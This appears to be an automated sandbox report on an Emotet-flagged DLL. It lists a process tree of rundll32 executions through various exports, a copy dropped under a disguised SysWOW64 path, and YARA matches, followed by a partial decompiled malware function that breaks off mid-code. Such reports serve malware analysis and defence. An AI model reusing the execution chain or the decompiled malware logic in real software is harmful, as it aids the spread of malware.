Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5444 Parent PID: 5696

General

Start time:	23:58:16
Start date:	01/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll"
Imagebase:	0xd60000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5460 Parent PID: 5444

General

Start time:	23:58:16
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5724 Parent PID: 5444

General

Start time:	23:58:16
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,Control_RunDLL
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5560 Parent PID: 5460

General

Start time:	23:58:17
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.538242653.000000000291A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4396 Parent PID: 5444

General

Start time:	23:58:21
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,ajkaibu
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.534967742.000000000273A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6200 Parent PID: 556

General

Start time:	23:58:23
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6244 Parent PID: 5444

General

Start time:	23:58:25
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,akyncbgollmj
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.540904925.00000000028FA000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6360 Parent PID: 556

General

Start time:	23:58:33
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6564 Parent PID: 556

General

Start time:	23:58:49
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6892 Parent PID: 556

General

Start time:	23:59:08
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 7076 Parent PID: 556

General

Start time:	23:59:37
Start date:	01/12/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff779920000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7116 Parent PID: 556

General

Start time:	23:59:53
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6296 Parent PID: 5560

General

Start time:	00:00:19
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 2144 Parent PID: 5724

General

Start time:	00:00:22
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw",IADPmoEsmQuul
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000010.00000002.651948468.0000000002D8A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: rundll32.exe PID: 6136 Parent PID: 4396

General

Start time:	00:00:26
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6172 Parent PID: 6244

General

Start time:	00:00:32
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1884 Parent PID: 556

General

Start time:	00:00:33
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 1060 Parent PID: 1884

General

Start time:	00:00:34
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444
Imagebase:	0xc30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 3664 Parent PID: 5444

General

Start time:	00:00:36
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 320
Imagebase:	0xc30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5988 Parent PID: 1884

General

Start time:	00:00:44
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 5444 -ip 5444
Imagebase:	0xc30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6060 Parent PID: 5444

General

Start time:	00:00:46
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 340
Imagebase:	0xc30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 2036 Parent PID: 7116

General

Start time:	00:01:09
Start date:	02/12/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff71d680000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4500 Parent PID: 2036

General

Start time:	00:01:10
Start date:	02/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6864 Parent PID: 556

General

Start time:	00:01:15
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6276 Parent PID: 2144

General

Start time:	00:01:24
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL
Imagebase:	0x120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 3420 Parent PID: 556

General

Start time:	00:01:54
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 2592 Parent PID: 556

General

Start time:	00:02:03
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1412 Parent PID: 556

General

Start time:	00:02:11
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5444 Parent PID: 5696 loaddll32.exeCOMMON

Executed Functions

Function 00FC1291, Relevance: 10.4, Strings: 8, Instructions: 383
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00FC1291() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed short* _t429;
				signed int _t440;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t453;
				signed int _t461;
				signed int* _t491;
				void* _t492;
				signed short* _t498;
				signed int* _t499;

				_t499 =  &_v1728;
				_v1572 = 0x85db5f;
				_v1572 = _v1572 + 0xabd9;
				_v1572 = _v1572 ^ 0x00868711;
				_v1664 = 0xec20c6;
				_v1664 = _v1664 ^ 0x8ebb32ad;
				_v1664 = _v1664 >> 0xe;
				_v1664 = _v1664 ^ 0xc9da4224;
				_v1664 = _v1664 ^ 0xc9d33214;
				_v1672 = 0x7aeab7;
				_v1672 = _v1672 >> 0xb;
				_v1672 = _v1672 >> 0x10;
				_v1672 = _v1672 * 0x29;
				_t442 = 0;
				_v1672 = _v1672 ^ 0x00070a11;
				_t492 = 0x1e2f185;
				_v1636 = 0x817462;
				_v1636 = _v1636 | 0x24691976;
				_v1636 = _v1636 + 0x95f6;
				_v1636 = _v1636 ^ 0x24ec5d0b;
				_v1644 = 0x77a6a5;
				_v1644 = _v1644 + 0xffffc90e;
				_v1644 = _v1644 << 1;
				_v1644 = _v1644 ^ 0x00e59261;
				_v1680 = 0xf31be;
				_v1680 = _v1680 | 0xd650deff;
				_v1680 = _v1680 << 9;
				_v1680 = _v1680 + 0xf487;
				_v1680 = _v1680 ^ 0xc00e87b4;
				_v1688 = 0x6142cc;
				_v1688 = _v1688 << 0x10;
				_v1688 = _v1688 | 0xd67339e5;
				_v1688 = _v1688 << 0xd;
				_v1688 = _v1688 ^ 0xe7390e48;
				_v1576 = 0x6cc5f;
				_v1576 = _v1576 | 0x19b4cce0;
				_v1576 = _v1576 ^ 0x19baa07f;
				_v1724 = 0xbf4a96;
				_t444 = 0x5e;
				_v1724 = _v1724 / _t444;
				_v1724 = _v1724 << 6;
				_t445 = 6;
				_v1724 = _v1724 / _t445;
				_v1724 = _v1724 ^ 0x001fb8e8;
				_v1624 = 0x45a64f;
				_v1624 = _v1624 << 1;
				_v1624 = _v1624 >> 0xf;
				_v1624 = _v1624 ^ 0x000b503d;
				_v1684 = 0xb25e00;
				_v1684 = _v1684 >> 8;
				_v1684 = _v1684 ^ 0xb04bdaf3;
				_v1684 = _v1684 | 0x528abcb4;
				_v1684 = _v1684 ^ 0xf2c0da40;
				_v1716 = 0xe3eb63;
				_v1716 = _v1716 + 0x4bb4;
				_v1716 = _v1716 | 0x24706c23;
				_v1716 = _v1716 + 0xffff0bad;
				_v1716 = _v1716 ^ 0x24f80a2d;
				_v1660 = 0x9c5bdc;
				_v1660 = _v1660 | 0xcf478232;
				_v1660 = _v1660 >> 1;
				_t446 = 0xe;
				_v1660 = _v1660 / _t446;
				_v1660 = _v1660 ^ 0x076aa47c;
				_v1668 = 0xa625ec;
				_t447 = 0x7d;
				_v1668 = _v1668 / _t447;
				_v1668 = _v1668 + 0x365e;
				_v1668 = _v1668 << 0xd;
				_v1668 = _v1668 ^ 0x31544487;
				_v1708 = 0x6b5520;
				_v1708 = _v1708 + 0xf8d2;
				_v1708 = _v1708 << 9;
				_v1708 = _v1708 >> 4;
				_v1708 = _v1708 ^ 0x0d8d8c55;
				_v1600 = 0x9430bd;
				_t448 = 0x36;
				_v1600 = _v1600 / _t448;
				_v1600 = _v1600 ^ 0x000afaf2;
				_v1620 = 0x86cfb6;
				_v1620 = _v1620 << 1;
				_v1620 = _v1620 + 0xffff889a;
				_v1620 = _v1620 ^ 0x0109f82c;
				_v1564 = 0xa631e3;
				_v1564 = _v1564 + 0xf4ba;
				_v1564 = _v1564 ^ 0x00a80ade;
				_v1676 = 0x7979a8;
				_v1676 = _v1676 << 7;
				_v1676 = _v1676 << 0x10;
				_v1676 = _v1676 + 0x9d4f;
				_v1676 = _v1676 ^ 0xd402292e;
				_v1700 = 0x9cb407;
				_t449 = 0x74;
				_v1700 = _v1700 / _t449;
				_v1700 = _v1700 ^ 0xb8dd2e27;
				_v1700 = _v1700 + 0x1cb3;
				_v1700 = _v1700 ^ 0xb8dbb093;
				_v1588 = 0x57c273;
				_v1588 = _v1588 ^ 0xbac546e2;
				_v1588 = _v1588 ^ 0xba9f2ece;
				_v1652 = 0x72d309;
				_v1652 = _v1652 >> 0xf;
				_v1652 = _v1652 + 0x1eac;
				_v1652 = _v1652 ^ 0x0008e8eb;
				_v1728 = 0xc706e;
				_v1728 = _v1728 << 1;
				_v1728 = _v1728 << 0xc;
				_t450 = 0x26;
				_v1728 = _v1728 * 0x45;
				_v1728 = _v1728 ^ 0x49b77e5b;
				_v1640 = 0x7522e5;
				_t203 =  &_v1640; // 0x7522e5
				_v1640 =  *_t203 * 0x5c;
				_t205 =  &_v1640; // 0x7522e5
				_v1640 =  *_t205 / _t450;
				_v1640 = _v1640 ^ 0x0119d43e;
				_v1692 = 0xbb4804;
				_v1692 = _v1692 + 0xffff70c6;
				_v1692 = _v1692 << 0xf;
				_v1692 = _v1692 + 0x3f9;
				_v1692 = _v1692 ^ 0x5c613920;
				_v1712 = 0x28f594;
				_t451 = 0x4e;
				_v1712 = _v1712 * 0x7e;
				_v1712 = _v1712 / _t451;
				_v1712 = _v1712 | 0x51c800e0;
				_v1712 = _v1712 ^ 0x51cdbf54;
				_v1580 = 0x7adb62;
				_v1580 = _v1580 + 0x1c1;
				_v1580 = _v1580 ^ 0x0077f071;
				_v1720 = 0xc70a86;
				_v1720 = _v1720 << 7;
				_t452 = 0x56;
				_v1720 = _v1720 * 0x1f;
				_v1720 = _v1720 ^ 0x9dec4920;
				_v1720 = _v1720 ^ 0x90c44137;
				_v1704 = 0x9ba56a;
				_v1704 = _v1704 >> 0x10;
				_v1704 = _v1704 | 0x058efec6;
				_v1704 = _v1704 << 5;
				_v1704 = _v1704 ^ 0xb1d841ad;
				_v1612 = 0x4e3e19;
				_v1612 = _v1612 | 0x42034613;
				_v1612 = _v1612 + 0xa5db;
				_v1612 = _v1612 ^ 0x4251fd7d;
				_v1596 = 0xecd59;
				_v1596 = _v1596 << 0xf;
				_v1596 = _v1596 ^ 0x66a56977;
				_v1632 = 0xfd16cc;
				_v1632 = _v1632 >> 0x10;
				_v1632 = _v1632 | 0xf759e487;
				_v1632 = _v1632 ^ 0xf75ce35e;
				_v1568 = 0xf13a15;
				_v1568 = _v1568 + 0xffffe5fa;
				_v1568 = _v1568 ^ 0x00f08e2f;
				_v1696 = 0xb25c71;
				_v1696 = _v1696 >> 5;
				_v1696 = _v1696 + 0xffff6fed;
				_v1696 = _v1696 | 0x9a7ee50f;
				_v1696 = _v1696 ^ 0x9a75ce05;
				_v1584 = 0xd4d15a;
				_v1584 = _v1584 | 0xed45407c;
				_v1584 = _v1584 ^ 0xedd29953;
				_v1648 = 0x645714;
				_v1648 = _v1648 / _t452;
				_v1648 = _v1648 ^ 0xa5463a61;
				_v1648 = _v1648 ^ 0xa540957b;
				_v1592 = 0x7bc2a2;
				_v1592 = _v1592 | 0xe79bdf7f;
				_v1592 = _v1592 ^ 0xe7f9ba68;
				_v1608 = 0xeb425b;
				_v1608 = _v1608 | 0x6f37f89f;
				_v1608 = _v1608 ^ 0x6ff0358e;
				_v1616 = 0xd90b05;
				_v1616 = _v1616 + 0x5fe2;
				_v1616 = _v1616 + 0xb3d9;
				_v1616 = _v1616 ^ 0x00d0b302;
				_v1628 = 0x5d6f98;
				_v1628 = _v1628 ^ 0x53a08d2a;
				_t453 = 0x1a;
				_v1628 = _v1628 * 0x15;
				_v1628 = _v1628 ^ 0xe3d40ccf;
				_v1656 = 0x3ffc42;
				_v1656 = _v1656 | 0xeccb51bd;
				_v1656 = _v1656 >> 5;
				_v1656 = _v1656 / _t453;
				_v1656 = _v1656 ^ 0x004cf9e1;
				_v1604 = 0xad51da;
				_v1604 = _v1604 + 0xffffadf7;
				_v1604 = _v1604 ^ 0x00a3928b;
				_t498 = _v1604;
				while(_t492 != 0x1e2f185) {
					if(_t492 == 0x2b93872) {
						_t498 = E00FA7E66();
						_t492 = 0x31259bb;
						continue;
					}
					if(_t492 == 0x31259bb) {
						_t429 = _t498;
						__eflags =  *_t498 - _t442;
						if(__eflags == 0) {
							L17:
							_t492 = 0xc3103c3;
							continue;
						} else {
							goto L10;
						}
						do {
							L10:
							__eflags =  *_t429 - 0x2c;
							if( *_t429 != 0x2c) {
								goto L16;
							}
							_t491 =  &_v1560;
							while(1) {
								_t429 =  &(_t429[1]);
								_t461 =  *_t429 & 0x0000ffff;
								__eflags = _t461;
								if(_t461 == 0) {
									break;
								}
								__eflags = _t461 - 0x20;
								if(_t461 == 0x20) {
									break;
								}
								 *_t491 = _t461;
								_t491 =  &(_t491[0]);
								__eflags = _t491;
							}
							_t453 = 0;
